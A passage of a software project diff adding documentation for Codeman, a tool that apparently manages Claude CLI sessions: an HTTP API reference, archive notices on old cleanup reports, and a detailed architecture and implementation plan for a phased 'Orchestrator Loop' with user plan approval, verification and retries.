+    testTimeout: 30000,
+    teardownTimeout: 60000,
+  },
+});

config/vitest.config.ts

@@ -1,7 +1,11 @@
+import { resolve } from 'node:path';
 import { defineConfig } from 'vitest/config';
 
+const root = resolve(import.meta.dirname, '..');
+
 export default defineConfig({
   test: {
+    root,
     globals: true,
     environment: 'node',
     include: ['test/**/*.test.ts'],

docs/api-reference.md

@@ -0,0 +1,90 @@
+# HTTP API Reference
+
+Codeman's HTTP API is a **stable contract** as of 1.0 — see
+[`versioning-policy.md`](versioning-policy.md) for the SemVer guarantee. This page
+defines the response envelope, status codes, error codes, versioning, and the SSE
+event channel.
+
+## Versioning
+
+- The stable, public surface is served under **`/api/v1/...`**. Pin external
+  clients to this prefix.
+- The unversioned **`/api/...`** paths are a permanent alias of the current
+  version (what the bundled web UI uses). They are kept working, but new external
+  integrations should use `/api/v1`.
+- Breaking changes to the contract ship under a new prefix (`/api/v2`); `/api/v1`
+  keeps its semantics. Additive changes (new endpoints, new optional fields, new
+  error codes) are non-breaking and may appear in a minor release.
+- The implementation rewrites `/api/v1/*` → `/api/*` at the server level
+  (`rewriteApiV1Url` in `src/web/server.ts`).
+
+## Response envelope
+
+Every JSON response uses one uniform envelope, applied centrally by a
+`preSerialization` hook (`src/web/server.ts`) — handlers return bare data and the
+hook wraps it:
+
+**Success** — HTTP `2xx`:
+
+```json
+{ "success": true, "data": <payload> }
+```
+
+`data` is the endpoint's payload (object, array, or value). Endpoints with no
+payload return `{ "success": true, "data": {} }`.
+
+**Error** — HTTP `4xx`/`5xx`:
+
+```json
+{ "success": false, "error": "human-readable message", "errorCode": "NOT_FOUND" }
+```
+
+`ApiResponse<T>` in `src/types/api.ts` is the canonical type.
+
+> Non-JSON endpoints are exempt from the envelope: `GET /api/sessions/:id/file-raw`,
+> `GET /api/sessions/:id/tail-file` (SSE), `GET /api/download`,
+> `GET /api/screenshots/:name`, `GET /q/:code` (QR redirect), and the
+> `GET /ws/sessions/:id/terminal` WebSocket upgrade.
+
+## Error codes → HTTP status
+
+The single source of truth is `ErrorStatus` / `httpStatusForErrorCode()` in
+`src/types/api.ts`. Clients should branch on `errorCode` (stable) and may rely on
+the HTTP status.
+
+| `errorCode` | HTTP | Meaning |
+|-------------|------|---------|
+| `INVALID_INPUT` | 400 | Malformed request / failed validation |
+| `UNAUTHORIZED` | 401 | Authentication required or failed |
+| `NOT_FOUND` | 404 | Resource does not exist |
+| `SESSION_BUSY` | 409 | Session is busy |
+| `CONFLICT` | 409 | Conflicts with current state (e.g. already running) |
+| `ALREADY_EXISTS` | 409 | Resource already exists |
+| `OPERATION_FAILED` | 422 | Well-formed but could not be completed |
+| `RATE_LIMITED` | 429 | Too many requests |
+| `INTERNAL_ERROR` | 500 | Unexpected server error |
+
+Adding a new error code is non-breaking; removing or renaming one is a major change.
+
+## Authentication
+
+Optional HTTP Basic (`CODEMAN_USERNAME`/`CODEMAN_PASSWORD`) → opaque
+`codeman_session` cookie. When enabled, unauthenticated requests get
+`401 UNAUTHORIZED`; rate-limited requests get `429 RATE_LIMITED`. See
+[`security-architecture.md`](security-architecture.md).
+
+## SSE event channel
+
+`GET /api/events` is a Server-Sent Events stream (`text/event-stream`); each
+message is `event: <name>` + `data: <json>`. The event-name registry
+(`src/web/sse-events.ts`, mirrored in `src/web/public/constants.js`) is part of
+the stable contract — event names are not renamed without a major bump. An
+optional `?sessions=<id,...>` filter suppresses only the high-volume terminal
+stream; lifecycle/metadata events are delivered to all clients regardless.
+
+## Consuming from JavaScript
+
+The bundled frontend reads responses through `_apiJson()`
+(`src/web/public/api-client.js`), which unwraps `{success:true,data}` → `data` and
+returns `null` on a non-2xx / `{success:false}` response. External clients should
+do the same: check the HTTP status (or `body.success`), then read `body.data`.

docs/archive/cleanup-findings.md

@@ -1,3 +1,9 @@
+> **⚠️ ARCHIVED 2026-05-21 — superseded, kept for history.**
+> The headline items here were verified resolved: the P0 `{WORKING_DIR}` placeholder
+> is now replaced (`plan-orchestrator.ts:431`), and the "~66 dead functions in app.js"
+> are gone (app.js was modularized 15K→3K LOC). A fresh `npm run knip` sweep on
+> 2026-05-21 found only a handful of unused test helpers. Do not treat this as a live TODO.
+
 # Codebase Cleanup Findings
 
 Compiled from parallel analysis of the entire Codeman codebase by 3 research agents (2026-02-19).

docs/archive/code-structure-findings.md

@@ -1,3 +1,9 @@
+> **⚠️ ARCHIVED 2026-05-21 — superseded, kept for history.**
+> The "Critical" structural items here are done: `server.ts` 6,736→2,065 LOC,
+> `app.js` 15,196→3,083 LOC, `types.ts` 1,443→12 LOC (now a barrel → `src/types/`).
+> The phase plans that executed this work are in `docs/archive/phase*-plan.md`.
+> Do not treat this as a live TODO; see CLAUDE.md for current architecture.
+
 # Code Structure & Quality Findings
 
 **Date**: 2026-02-28

docs/local-echo-overlay-plan.md

@@ -1,5 +1,7 @@
 # Local Echo Overlay — Implementation Plan
 
+> **Status: SHIPPED.** Implementation lives in `packages/xterm-zerolag-input/src/` (overlay-renderer.ts, prompt-finder.ts, cell-dimensions.ts, zerolag-input-addon.ts) with the embedded copy in `src/web/public/app.js`. This document is retained as historical design context.
+
 ## Context
 
 User accesses Codeman remotely from Thailand to Switzerland over Tailscale (~200-300ms RTT).
@@ -18,9 +20,9 @@ redraws. A DOM overlay sits in a separate rendering layer (z-index 7) and doesn'
 with Ink's cursor management or screen redraws at all. When Ink redraws (server output arrives),
 we simply hide the overlay.
 
-**Why it will look indistinguishable:** We use the DOM renderer (not canvas/WebGL) in our
-xterm.js v5.3.0, so both terminal text and overlay text are rendered by the same browser
-font engine with identical sub-pixel rendering.
+**Why it will look indistinguishable:** We use the DOM renderer (not canvas/WebGL), so both
+terminal text and overlay text are rendered by the same browser font engine with identical
+sub-pixel rendering. (Originally designed against xterm.js v5.3.0; project now on `@xterm/xterm` ^6.0.0 — the internal `_core._renderService.dimensions` access path still works in v6.)
 
 ## Key Technical Details (from research)
 
@@ -36,7 +38,7 @@ const top  = cursorY * dims.css.cell.height;  // CSS pixels, relative to .xterm-
 - `cursorY` = `terminal.buffer.active.cursorY` (0 to terminal.rows-1, ALREADY viewport-relative)
 - No scroll offset math needed
 
-### Cell Dimensions (v5.3.0 — no public API, use internal)
+### Cell Dimensions (no public API in v5/v6 — use internal; public in v7+)
 ```js
 const dims = terminal._core._renderService.dimensions;
 dims.css.cell.width   // e.g., 8.4px

docs/orchestrator-loop-architecture.md

@@ -0,0 +1,367 @@
+# Orchestrator Loop — Architecture & Data Flow
+
+> Technical architecture document. Not for GitHub.
+
+## System Overview
+
+```
+┌─────────────────────────────────────────────────────────────────────┐
+│                          CODEMAN WEB UI                             │
+│  ┌──────────────────────────────────────────────────────────────┐  │
+│  │  Orchestrator Dashboard                                       │  │
+│  │  [Goal Input] [Plan View] [Phase Progress] [Agent Activity]  │  │
+│  └───────────────────────────┬──────────────────────────────────┘  │
+│                               │ SSE Events                         │
+│                               ▼                                    │
+│  ┌──────────────────────────────────────────────────────────────┐  │
+│  │  Orchestrator API Routes (/api/orchestrator/*)                │  │
+│  └───────────────────────────┬──────────────────────────────────┘  │
+└───────────────────────────────┼─────────────────────────────────────┘
+                                ▼
+┌─────────────────────────────────────────────────────────────────────┐
+│                      ORCHESTRATOR LOOP                               │
+│                                                                      │
+│  ┌──────────────┐    ┌──────────────┐    ┌──────────────────────┐  │
+│  │ Orchestrator │    │ Orchestrator │    │ Orchestrator         │  │
+│  │ Planner      │    │ Loop (state  │    │ Verifier             │  │
+│  │              │    │ machine)     │    │                      │  │
+│  │ • Research   │◄──►│ • Phase mgmt │◄──►│ • Test runner        │  │
+│  │ • Plan gen   │    │ • Task queue │    │ • AI review          │  │
+│  │ • Phasing    │    │ • Event loop │    │ • Output checks      │  │
+│  └──────┬───────┘    └──────┬───────┘    └──────────┬───────────┘  │
+│         │                   │                       │              │
+│         ▼                   ▼                       ▼              │
+│  ┌──────────────────────────────────────────────────────────────┐  │
+│  │              EXISTING CODEMAN INFRASTRUCTURE                  │  │
+│  │                                                               │  │
+│  │  SessionManager ←→ Sessions ←→ PTY (Claude CLI)              │  │
+│  │       ↑                ↑              ↑                       │  │
+│  │       │                │              │                       │  │
+│  │  TaskQueue      RalphTracker    RespawnController             │  │
+│  │  StateStore     HooksConfig     TeamWatcher                   │  │
+│  │  Auto-Ops       SubagentWatcher SSE Broadcast                 │  │
+│  └──────────────────────────────────────────────────────────────┘  │
+└─────────────────────────────────────────────────────────────────────┘
+```
+
+## Data Flow: Complete Lifecycle
+
+### 1. User Submits Goal
+
+```
+User → POST /api/orchestrator/start { goal: "Build a REST API...", config: {...} }
+  → OrchestratorLoop.start(goal)
+    → state = PLANNING
+    → emit('stateChanged', 'planning')
+    → SSE: orchestrator:stateChanged
+```
+
+### 2. Planning Phase
+
+```
+OrchestratorPlanner.generatePlan(goal)
+  → PlanOrchestrator.generateDetailedPlan(goal)
+    → [Research Agent] → enriched task description
+    → [Planner Agent] → PlanItem[]
+  → groupIntoPhases(planItems)
+    → topological sort by dependencies
+    → group into layers
+    → assign team strategies
+  → OrchestratorPlan { phases: [...] }
+  → state = APPROVAL
+  → emit('planReady', plan)
+  → SSE: orchestrator:planReady
+```
+
+### 3. User Approves Plan
+
+```
+User → POST /api/orchestrator/approve
+  → OrchestratorLoop.approvePlan()
+    → state = EXECUTING
+    → executePhase(phases[0])
+```
+
+### 4. Phase Execution
+
+```
+executePhase(phase)
+  → For each task in phase:
+    → Convert to CreateTaskOptions
+    → Add to TaskQueue with completion phrase "PHASE_{N}_TASK_{M}_DONE"
+  → If phase.teamStrategy.type === 'team':
+    → Start session with AGENT_TEAMS enabled
+    → Send team orchestration prompt to lead
+  → Else:
+    → Assign tasks to available sessions (same as RalphLoop)
+
+  → Listen for task completion events:
+    → TaskQueue emits taskCompleted
+    → Check: all phase tasks done?
+      → Yes → state = VERIFYING → verifyPhase(phase)
+      → No → wait for more completions
+```
+
+### 5. Verification
+
+```
+verifyPhase(phase)
+  → OrchestratorVerifier.verify(phase, session)
+    → Run test commands via session
+    → Check file existence
+    → AI review (optional)
+  → If passed:
+    → phase.status = 'passed'
+    → emit('phaseCompleted', phase)
+    → If more phases: executePhase(nextPhase)
+    → If last phase: state = COMPLETED
+  → If failed:
+    → phase.attempts++
+    → If attempts < maxAttempts:
+      → state = REPLANNING
+      → Generate recovery tasks
+      → state = EXECUTING (retry)
+    → Else:
+      → state = FAILED
+      → emit('phaseFailed', phase, reason)
+```
+
+### 6. Context Management Between Phases
+
+```
+After phase completion:
+  → If config.compactBetweenPhases:
+    → session.sendInput('/compact')
+    → Wait for compact to complete
+  → If config.respawnBetweenMilestones && phase is a milestone:
+    → Save orchestrator state to StateStore
+    → Respawn session (kill + recreate)
+    → Send resume prompt with phase context
+```
+
+## File Layout
+
+```
+src/
+├── orchestrator-loop.ts          # Main state machine (~400 lines)
+├── orchestrator-planner.ts       # Plan generation + phase grouping (~300 lines)
+├── orchestrator-verifier.ts      # Phase verification (~200 lines)
+├── types/
+│   └── orchestrator.ts           # All orchestrator types (~150 lines)
+├── prompts/
+│   └── orchestrator.ts           # Prompt templates (~200 lines)
+├── web/
+│   ├── routes/
+│   │   └── orchestrator-routes.ts  # API endpoints (~250 lines)
+│   └── public/
+│       └── orchestrator-ui.js    # Frontend panel (~500 lines)
+```
+
+## Integration Points with Existing Code
+
+### StateStore (`src/state-store.ts`)
+```typescript
+// Add to AppState interface
+orchestrator?: OrchestratorPersistState;
+
+// Add methods
+getOrchestratorState(): OrchestratorPersistState;
+setOrchestratorState(state: Partial<OrchestratorPersistState>): void;
+```
+
+### SSE Events (`src/web/sse-events.ts`)
+```typescript
+// Add ~8 new events
+export const SseEvent = {
+  // ... existing
+  ORCHESTRATOR_STATE_CHANGED: 'orchestrator:stateChanged',
+  ORCHESTRATOR_PLAN_READY: 'orchestrator:planReady',
+  ORCHESTRATOR_PHASE_STARTED: 'orchestrator:phaseStarted',
+  ORCHESTRATOR_PHASE_COMPLETED: 'orchestrator:phaseCompleted',
+  ORCHESTRATOR_PHASE_FAILED: 'orchestrator:phaseFailed',
+  ORCHESTRATOR_VERIFICATION: 'orchestrator:verificationResult',
+  ORCHESTRATOR_COMPLETED: 'orchestrator:completed',
+  ORCHESTRATOR_ERROR: 'orchestrator:error',
+} as const;
+```
+
+### Frontend Constants (`src/web/public/constants.js`)
+```javascript
+// Mirror SSE events
+SSE_EVENTS.ORCHESTRATOR_STATE_CHANGED = 'orchestrator:stateChanged';
+// ... etc
+```
+
+### Route Registration (`src/web/routes/index.ts`)
+```typescript
+import { registerOrchestratorRoutes } from './orchestrator-routes.js';
+// Add to barrel export
+```
+
+### Server (`src/web/server.ts`)
+```typescript
+// Initialize OrchestratorLoop alongside RalphLoop
+const orchestratorLoop = new OrchestratorLoop(config);
+
+// Register routes
+registerOrchestratorRoutes(app, { ...ctx, orchestrator: orchestratorLoop });
+```
+
+### Port Interface (`src/web/ports/`)
+```typescript
+// New port
+export interface OrchestratorPort {
+  orchestrator: OrchestratorLoop;
+}
+```
+
+## Prompt Flow Through System
+
+The key insight is how prompts flow from Orchestrator → Session → Claude:
+
+```
+OrchestratorLoop decides to execute Phase 3, Task 2
+  │
+  ▼
+Converts OrchestratorTask to CreateTaskOptions:
+  {
+    prompt: "Implement the rate limiter middleware. Read src/middleware/auth.ts
+             for the pattern. Add to src/middleware/rate-limiter.ts. Must export
+             a Fastify plugin. When done: <promise>PHASE_3_TASK_2_DONE</promise>",
+    priority: 100,
+    dependencies: ["phase-3-task-1"],  // Must finish auth middleware first
+    completionPhrase: "PHASE_3_TASK_2_DONE",
+    timeoutMs: 600000  // 10 minutes
+  }
+  │
+  ▼
+TaskQueue.addTask(options)
+  │
+  ▼
+RalphLoop.tick() → assignTasks()  // OR OrchestratorLoop does its own assignment
+  │
+  ▼
+session.sendInput(task.prompt)
+  │
+  ▼
+writeViaMux() → tmux send-keys -l "prompt..." + Enter
+  │
+  ▼
+Claude CLI receives prompt, executes, outputs results
+  │
+  ▼
+RalphTracker.processData() → detects "PHASE_3_TASK_2_DONE"
+  │
+  ▼
+emit('completionDetected') → OrchestratorLoop.handleTaskCompleted()
+  │
+  ▼
+Check: all tasks in Phase 3 done? → If yes → verifyPhase(phase3)
+```
+
+## Team Agent Flow (When Enabled)
+
+```
+Phase has teamStrategy.type === 'team'
+  │
+  ▼
+OrchestratorLoop creates/reuses a session with:
+  env: { CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS: '1' }
+  │
+  ▼
+Sends team orchestration prompt:
+  "You're the team lead for Phase 3: Core Implementation.
+
+   Your team should work on these tasks in parallel:
+   1. Rate limiter middleware (teammate 1)
+   2. Error handling middleware (teammate 2)
+   3. Validation layer (teammate 3)
+
+   Context files to read first: [...]
+   Each teammate should output their task's completion phrase when done.
+   When ALL tasks are complete, output: <promise>PHASE_3_COMPLETE</promise>"
+  │
+  ▼
+Claude Code team-lead spawns teammates
+  │
+  ▼
+TeamWatcher detects new team in ~/.claude/teams/
+  → Matches to session via leadSessionId
+  → Tracks teammate activity
+  │
+  ▼
+Teammates work in parallel (in-process threads)
+  │
+  ▼
+hook: teammate_idle → POST /api/hook-event
+  → OrchestratorLoop notes teammate finished
+  │
+  ▼
+hook: task_completed → POST /api/hook-event
+  → Or: RalphTracker detects PHASE_3_COMPLETE
+  → OrchestratorLoop → phase complete → verify
+```
+
+## Error Recovery Strategy
+
+```
+Task fails (timeout, error, session crash)
+  │
+  ├─ Task-level retry (up to 2 retries per task)
+  │   → Reset task to pending
+  │   → Re-queue with modified prompt: "Previous attempt failed: {error}. Try again..."
+  │
+  ├─ Phase-level retry (up to 3 retries per phase)
+  │   → Respawn session (fresh context)
+  │   → Re-execute entire phase with learnings from failure
+  │   → Modified prompt includes what went wrong
+  │
+  └─ Orchestration-level failure
+      → All retries exhausted
+      → state = FAILED
+      → Notify user with detailed failure report
+      → User can: modify plan → retry, skip phase → continue, or stop
+```
+
+## Interaction with Ralph Loop
+
+Ralph Loop and Orchestrator Loop are **mutually exclusive** on the same sessions:
+
+```
+if (orchestratorLoop.isRunning()) {
+  // Orchestrator controls task assignment
+  // Ralph Loop should not interfere
+  // Respawn Controller uses 'orchestrator' preset
+}
+
+if (ralphLoop.isRunning()) {
+  // Ralph controls task assignment
+  // Orchestrator should not start
+}
+```
+
+The Orchestrator can optionally USE the Ralph Loop internally for phase execution (delegate phase tasks to Ralph's queue), or manage task assignment directly. Decision: **manage directly** — gives more control over phase boundaries and verification timing.
+
+## Summary of What Touches What
+
+| Existing File | Change |
+|---|---|
+| `src/types/index.ts` | Export orchestrator types |
+| `src/state-store.ts` | Add orchestrator state persistence |
+| `src/web/sse-events.ts` | Add ~8 orchestrator events |
+| `src/web/routes/index.ts` | Register orchestrator routes |
+| `src/web/server.ts` | Initialize OrchestratorLoop |
+| `src/web/public/constants.js` | Mirror SSE events |
+| `src/web/public/app.js` | Add orchestrator event listeners, panel toggle |
+| `src/web/route-helpers.ts` | Add 'orchestrator' respawn preset |
+
+| New File | Purpose |
+|---|---|
+| `src/orchestrator-loop.ts` | Core state machine |
+| `src/orchestrator-planner.ts` | Plan generation + phasing |
+| `src/orchestrator-verifier.ts` | Phase verification |
+| `src/types/orchestrator.ts` | Type definitions |
+| `src/prompts/orchestrator.ts` | Prompt templates |
+| `src/web/routes/orchestrator-routes.ts` | API endpoints |
+| `src/web/public/orchestrator-ui.js` | Frontend panel |
+| `src/web/ports/orchestrator-port.ts` | Port interface |

docs/orchestrator-loop-plan.md

@@ -0,0 +1,633 @@
+# Orchestrator Loop — Detailed Implementation Plan (v2)
+
+> Internal research/planning document. Not for GitHub.
+
+## Vision
+
+The **Orchestrator Loop** is a new autonomous execution mode that transforms high-level user goals into phased, verified, team-coordinated implementations. Unlike Ralph Loop (flat task queue → idle sessions), the Orchestrator manages the full lifecycle: **plan → approve → execute → verify → adapt → complete**.
+
+```
+USER: "Add OAuth2 login with Google/GitHub, role-based access control, and API key management"
+
+ORCHESTRATOR:
+  Phase 1: Research & Setup      ✅ (3m)  — scaffold, deps, config
+  Phase 2: Auth Core             ✅ (8m)  — OAuth2 flow, session mgmt
+  Phase 3: Provider Integration  🔄 (12m) — Google + GitHub (parallel via team agents)
+  Phase 4: RBAC                  ⏳       — roles, permissions, middleware
+  Phase 5: API Keys              ⏳       — generation, validation, rate limits
+  Phase 6: Testing & Review      ⏳       — integration tests, security review
+
+  Progress: ━━━━━━━━━━━━━━━━━━━━ 40%   |   Agents: 3 active   |   Time: 23m
+```
+
+## Architecture
+
+```
+┌─────────────────────────────────────────────────────────────────┐
+│                    OrchestratorLoop                               │
+│                                                                  │
+│  ┌────────────────┐  ┌────────────────┐  ┌──────────────────┐  │
+│  │ Orchestrator   │  │ Orchestrator   │  │ Orchestrator     │  │
+│  │ Planner        │  │ Executor       │  │ Verifier         │  │
+│  │                │  │                │  │                  │  │
+│  │ PlanOrchestrator│ │ TaskQueue      │  │ AI review        │  │
+│  │ + phase grouper│  │ SessionManager │  │ Test commands    │  │
+│  │ + team strategy│  │ Team prompts   │  │ File checks      │  │
+│  └───────┬────────┘  └───────┬────────┘  └─────────┬────────┘  │
+│          │                   │                      │           │
+│          └───────────────────┼──────────────────────┘           │
+│                              │                                  │
+│                    ┌─────────▼─────────┐                       │
+│                    │  Existing Codeman  │                       │
+│                    │  Infrastructure    │                       │
+│                    │                    │                       │
+│                    │  SessionManager    │                       │
+│                    │  TaskQueue         │                       │
+│                    │  RespawnController │                       │
+│                    │  TeamWatcher       │                       │
+│                    │  PlanOrchestrator  │                       │
+│                    │  StateStore        │                       │
+│                    │  Hooks + SSE       │                       │
+│                    └────────────────────┘                       │
+└─────────────────────────────────────────────────────────────────┘
+```
+
+## State Machine
+
+```
+                              ┌─────────┐
+                              │  IDLE   │
+                              └────┬────┘
+                                   │ start(goal)
+                                   ▼
+                              ┌─────────┐
+                     ┌────────│PLANNING │────────┐
+                     │ fail   └────┬────┘        │
+                     ▼             │ plan ready   │ user cancels
+                ┌────────┐        ▼              ▼
+                │ FAILED │   ┌─────────┐    ┌────────┐
+                └────────┘   │APPROVAL │    │ IDLE   │
+                     ▲       └────┬────┘    └────────┘
+                     │            │ approve
+                     │            ▼
+                     │       ┌──────────┐
+                     │  ┌───►│EXECUTING │◄────────────────────┐
+                     │  │    └────┬─────┘                     │
+                     │  │         │ all tasks in phase done    │
+                     │  │         ▼                            │
+                     │  │    ┌──────────┐                     │
+                     │  │    │VERIFYING │                     │
+                     │  │    └────┬─────┘                     │
+                     │  │    pass │    │ fail                  │
+                     │  │         ▼    ▼                       │
+                     │  │   more  ┌──────────┐                │
+                     │  │  phases?│REPLANNING│── retry ────────┘
+                     │  │    │    └────┬─────┘
+                     │  │    │         │ max retries
+                     │  │    │         ▼
+                     │  │    │    ┌────────┐
+                     │  └────┘    │ FAILED │
+                     │  next      └────────┘
+                     │  phase
+                     │    │
+                     │    ▼
+                     │ ┌───────────┐
+                     └─│ COMPLETED │
+                       └───────────┘
+```
+
+**States:** `idle` | `planning` | `approval` | `executing` | `verifying` | `replanning` | `completed` | `failed` | `paused`
+
+Transitions are event-driven. The state machine is the single source of truth — all methods check `this.state` before acting.
+
+## Type Definitions
+
+### `src/types/orchestrator.ts`
+
+```typescript
+// ═══════════════════════════════════════════════════════════════
+// State Machine
+// ═══════════════════════════════════════════════════════════════
+
+export type OrchestratorState =
+  | 'idle'
+  | 'planning'
+  | 'approval'
+  | 'executing'
+  | 'verifying'
+  | 'replanning'
+  | 'completed'
+  | 'failed'
+  | 'paused';
+
+// ═══════════════════════════════════════════════════════════════
+// Plan Structure
+// ═══════════════════════════════════════════════════════════════
+
+export interface OrchestratorPlan {
+  id: string;
+  goal: string;
+  createdAt: number;
+  phases: OrchestratorPhase[];
+  metadata: {
+    totalTasks: number;
+    estimatedComplexity: 'low' | 'medium' | 'high';
+    modelUsed: string;
+    planDurationMs: number;
+  };
+}
+
+export interface OrchestratorPhase {
+  id: string;                      // "phase-1", "phase-2"
+  name: string;                    // Human-readable name
+  description: string;
+  order: number;
+  status: PhaseStatus;
+  tasks: OrchestratorTask[];
+  verificationCriteria: string[];
+  testCommands: string[];
+  maxAttempts: number;             // Default: 3
+  attempts: number;                // Current attempt count
+  startedAt: number | null;
+  completedAt: number | null;
+  durationMs: number | null;
+  teamStrategy: TeamStrategy;
+}
+
+export type PhaseStatus =
+  | 'pending'
+  | 'executing'
+  | 'verifying'
+  | 'passed'
+  | 'failed'
+  | 'skipped';
+
+export interface OrchestratorTask {
+  id: string;                      // "phase-1-task-1"
+  phaseId: string;
+  prompt: string;                  // Single-line prompt for Claude
+  status: 'pending' | 'running' | 'completed' | 'failed';
+  assignedSessionId: string | null;
+  queueTaskId: string | null;     // Links to TaskQueue task
+  parallel: boolean;               // Can run in parallel with sibling tasks
+  completionPhrase: string;        // Unique phrase for completion detection
+  timeoutMs: number;
+  startedAt: number | null;
+  completedAt: number | null;
+  error: string | null;
+  retries: number;
+}
+
+// ═══════════════════════════════════════════════════════════════
+// Team Strategy
+// ═══════════════════════════════════════════════════════════════
+
+export type TeamStrategy =
+  | { type: 'single' }                          // One session handles all
+  | { type: 'parallel'; maxSessions: number }   // Multiple sessions
+  | { type: 'team'; config: TeamSetup }          // Agent teams
+
+export interface TeamSetup {
+  leadPrompt: string;
+  suggestedTeammates: string[];    // Role descriptions
+  maxTeammates: number;
+}
+
+// ═══════════════════════════════════════════════════════════════
+// Verification
+// ═══════════════════════════════════════════════════════════════
+
+export interface VerificationResult {
+  passed: boolean;
+  checks: VerificationCheck[];
+  summary: string;
+  suggestions: string[];           // Recovery hints for replanning
+}
+
+export interface VerificationCheck {
+  type: 'test_command' | 'ai_review' | 'file_check';
+  description: string;
+  passed: boolean;
+  output?: string;
+}
+
+// ═══════════════════════════════════════════════════════════════
+// Configuration
+// ═══════════════════════════════════════════════════════════════
+
+export interface OrchestratorConfig {
+  plannerModel: string;            // Default: 'opus'
+  researchEnabled: boolean;        // Default: true
+  autoApprove: boolean;            // Default: false
+  maxPhaseRetries: number;         // Default: 3
+  phaseTimeoutMs: number;          // Default: 1800000 (30min)
+  enableTeamAgents: boolean;       // Default: true
+  maxParallelSessions: number;     // Default: 3
+  verificationMode: 'strict' | 'moderate' | 'lenient';
+  compactBetweenPhases: boolean;   // Default: true
+}
+
+// ═══════════════════════════════════════════════════════════════
+// Persistence (saved to ~/.codeman/state.json)
+// ═══════════════════════════════════════════════════════════════
+
+export interface OrchestratorPersistState {
+  state: OrchestratorState;
+  plan: OrchestratorPlan | null;
+  currentPhaseIndex: number;
+  startedAt: number | null;
+  completedAt: number | null;
+  config: OrchestratorConfig;
+  stats: OrchestratorStats;
+}
+
+export interface OrchestratorStats {
+  phasesCompleted: number;
+  phasesFailed: number;
+  totalTasksCompleted: number;
+  totalTasksFailed: number;
+  totalDurationMs: number;
+  replanCount: number;
+}
+```
+
+## New Files (Implementation Order)
+
+### Step 1: `src/types/orchestrator.ts` — Type definitions
+All interfaces above. No dependencies. ~120 lines.
+
+### Step 2: `src/orchestrator-planner.ts` — Plan generation + phase grouping
+~300 lines. Wraps existing PlanOrchestrator.
+
+```typescript
+/**
+ * @fileoverview Orchestrator plan generation — converts goals into phased plans.
+ *
+ * Uses PlanOrchestrator for AI plan generation, then groups PlanItems into
+ * sequential phases with team strategies and verification criteria.
+ *
+ * @module orchestrator-planner
+ */
+
+export class OrchestratorPlanner {
+  constructor(mux: TerminalMultiplexer, workingDir: string, config: OrchestratorConfig);
+
+  /** Generate plan from goal. Uses PlanOrchestrator internally. */
+  async generatePlan(goal: string, onProgress?: ProgressCallback): Promise<OrchestratorPlan>;
+
+  /** Cancel in-progress plan generation. */
+  async cancel(): Promise<void>;
+
+  // Internal
+  private groupIntoPhases(items: PlanItem[], goal: string): OrchestratorPhase[];
+  private assignTeamStrategies(phases: OrchestratorPhase[]): void;
+  private generateCompletionPhrases(plan: OrchestratorPlan): void;
+}
+```
+
+**Phase grouping algorithm:**
+1. Topological sort by `PlanItem.dependencies`
+2. Group into dependency layers (Kahn's algorithm)
+3. Within each layer, sub-group by `tddPhase` (setup → test → impl → verify → review)
+4. Merge adjacent small phases (< 2 tasks) if they share the same tddPhase
+5. Assign team strategies:
+   - 1-2 tasks → `{ type: 'single' }`
+   - 3+ independent tasks → `{ type: 'parallel', maxSessions: Math.min(taskCount, config.maxParallelSessions) }`
+   - 4+ tasks with high complexity → `{ type: 'team', config: { ... } }`
+6. Generate unique completion phrases per task: `ORCH_P{phaseOrder}_T{taskIndex}`
+
+### Step 3: `src/orchestrator-verifier.ts` — Phase verification
+~200 lines.
+
+```typescript
+/**
+ * @fileoverview Orchestrator phase verification.
+ *
+ * Runs verification checks after each phase completes:
+ * test commands, AI review, and file existence checks.
+ *
+ * @module orchestrator-verifier
+ */
+
+export class OrchestratorVerifier {
+  constructor(config: OrchestratorConfig);
+
+  /** Run all verification checks for a completed phase. */
+  async verifyPhase(
+    phase: OrchestratorPhase,
+    session: Session,
+    mode: 'strict' | 'moderate' | 'lenient'
+  ): Promise<VerificationResult>;
+
+  // Verification strategies
+  private async runTestCommands(commands: string[], session: Session): Promise<VerificationCheck[]>;
+  private async aiReview(phase: OrchestratorPhase, session: Session): Promise<VerificationCheck>;
+}
+```
+
+**Verification modes:**
+- `strict`: ALL test commands must pass AND AI review must approve
+- `moderate`: Test commands must pass, AI review is advisory
+- `lenient`: At least one test command passes, AI review skipped
+
+**AI review prompt (sent as a task to the session):**
+```
+Review Phase "{phase.name}" completion. Check:
+1. Expected functionality works
+2. No obvious regressions
+3. Code quality is acceptable
+
+Criteria: {phase.verificationCriteria.join('\n')}
+
+If ALL criteria are met, respond: ORCH_VERIFY_PASS
+If ANY criteria fail, respond: ORCH_VERIFY_FAIL and explain what failed.
+```
+
+### Step 4: `src/orchestrator-loop.ts` — Core state machine
+~500 lines. Main orchestrator engine.
+
+```typescript
+/**
+ * @fileoverview Orchestrator Loop — phased plan execution with team agents.
+ *
+ * State machine that generates plans from user goals, executes them
+ * phase-by-phase with verification gates, and adapts on failure.
+ *
+ * @module orchestrator-loop
+ */
+
+export interface OrchestratorLoopEvents {
+  stateChanged: (state: OrchestratorState, prevState: OrchestratorState) => void;
+  planReady: (plan: OrchestratorPlan) => void;
+  phaseStarted: (phase: OrchestratorPhase) => void;
+  phaseCompleted: (phase: OrchestratorPhase) => void;
+  phaseFailed: (phase: OrchestratorPhase, reason: string) => void;
+  taskAssigned: (task: OrchestratorTask, sessionId: string) => void;
+  taskCompleted: (task: OrchestratorTask) => void;
+  taskFailed: (task: OrchestratorTask, error: string) => void;
+  verificationResult: (phase: OrchestratorPhase, result: VerificationResult) => void;
+  completed: (stats: OrchestratorStats) => void;
+  error: (error: Error) => void;
+}
+
+export class OrchestratorLoop extends EventEmitter {
+  private state: OrchestratorState = 'idle';
+  private plan: OrchestratorPlan | null = null;
+  private currentPhaseIndex = 0;
+  private config: OrchestratorConfig;
+  private planner: OrchestratorPlanner;
+  private verifier: OrchestratorVerifier;
+  private sessionManager: SessionManager;
+  private taskQueue: TaskQueue;
+  private store: StateStore;
+  private stats: OrchestratorStats;
+  private cleanup: CleanupManager;
+  private pausedState: OrchestratorState | null = null; // State before pause
+
+  // ── Lifecycle ──────────────────────────────────────────────
+
+  constructor(mux: TerminalMultiplexer, workingDir: string, config?: Partial<OrchestratorConfig>);
+
+  /** Start orchestration with a goal. Transitions: idle → planning */
+  async start(goal: string): Promise<void>;
+
+  /** Approve the generated plan. Transitions: approval → executing */
+  async approve(): Promise<void>;
+
+  /** Reject plan with feedback. Transitions: approval → planning (regenerate) */
+  async reject(feedback: string): Promise<void>;
+
+  /** Pause execution. Saves current state. */
+  pause(): void;
+
